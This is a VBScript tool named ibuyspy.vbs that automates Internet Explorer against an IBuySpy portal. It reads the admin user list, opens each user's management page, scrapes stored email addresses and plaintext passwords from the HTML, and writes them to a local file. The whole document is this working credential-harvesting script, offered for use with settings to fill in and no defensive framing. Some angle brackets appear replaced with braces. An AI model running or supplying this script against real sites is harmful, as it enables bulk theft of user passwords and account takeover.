'*******************************
'*****      ibuyspy.vbs    *****
''******************************

fileName = "C:\test.txt"             ' The destination file name

rootURL = "http://www.somesite.com"  ' The URL before the DesktopDefault.aspx

adminTabIndex = "4"                  ' Once logged on, go to the Admin page and check
                                     ' for the "tabindex" and "tabid",
adminTabID = "6"                     ' they will be in the URL

url0 = "/DesktopDefault.aspx?"       ' Change this if the DesktopDefault.aspx
                                     ' has been renamed

url1 = "/Admin/ManageUsers.aspx?"    ' ditto

Set objBrowser = CreateObject("InternetExplorer.Application")

getUserList

Sub getUserList()
  Set fs = CreateObject("Scripting.FileSystemObject")
  Set a = fs.CreateTextFile(fileName, True)
  objBrowser.Navigate rootURL + url0 + "tabindex=" + adminTabIndex + "&tabid=" + adminTabID, False

  Do Until objBrowser.ReadyState = 4
  Loop

  Set Doc = objBrowser.Document
  theText = Doc.documentElement.outerHTML
  posA = InStr(1, theText, "allUsers")
  theText = Right(theText, Len(theText) - posA)
  posA = InStr(1, theText, "{/SELECT}")
  theText = Left(theText, posA)
  posA = InStr(1, theText, "{OPTION value=") + 14

  Do Until (posA - 14) = 0
    posB = InStr(posA, theText, "}") + 1
    posC = InStr(posB, theText, "{/OPTION}")
    userID = Mid(theText, posA, (posB - posA) - 1)
    userName = Mid(theText, posB, posC - posB)
    theText = Right(theText, Len(theText) - (posC + 9))
    a.WriteLine(userName + "," + getPass(rootURL + url1 + "userid=" + userID + "&username=" + userName + "&tabindex=" + adminTabIndex + "&tabid=" + adminTabID))
    posA = InStr(1, theText, "{OPTION value=") + 14
  Loop

  a.Close
  Set objBrowser = Nothing

End Sub

Function getPass(theURL)
  objBrowser.Navigate theURL

  Do Until objBrowser.ReadyState = 4
  Loop

  Set Doc = objBrowser.Document
  theText = Doc.documentElement.outerHTML
  posA = InStr(1, theText, "id=Email")

  If posA {} 0 Then
    posB = InStr(posA, theText, "value=") + 6
    posC = InStr(posB, theText, " ")

    rslt = Mid(theText, posB, posC - posB)

    posA = InStr(1, theText, "id=Password")
    posB = InStr(posA, theText, "value=") + 6
    posC = InStr(posB, theText, " ")

    rslt = rslt + "," + Mid(theText, posB, posC - posB)
  Else
    rslt = "ERROR"
  End If

  getPass = rslt

End Function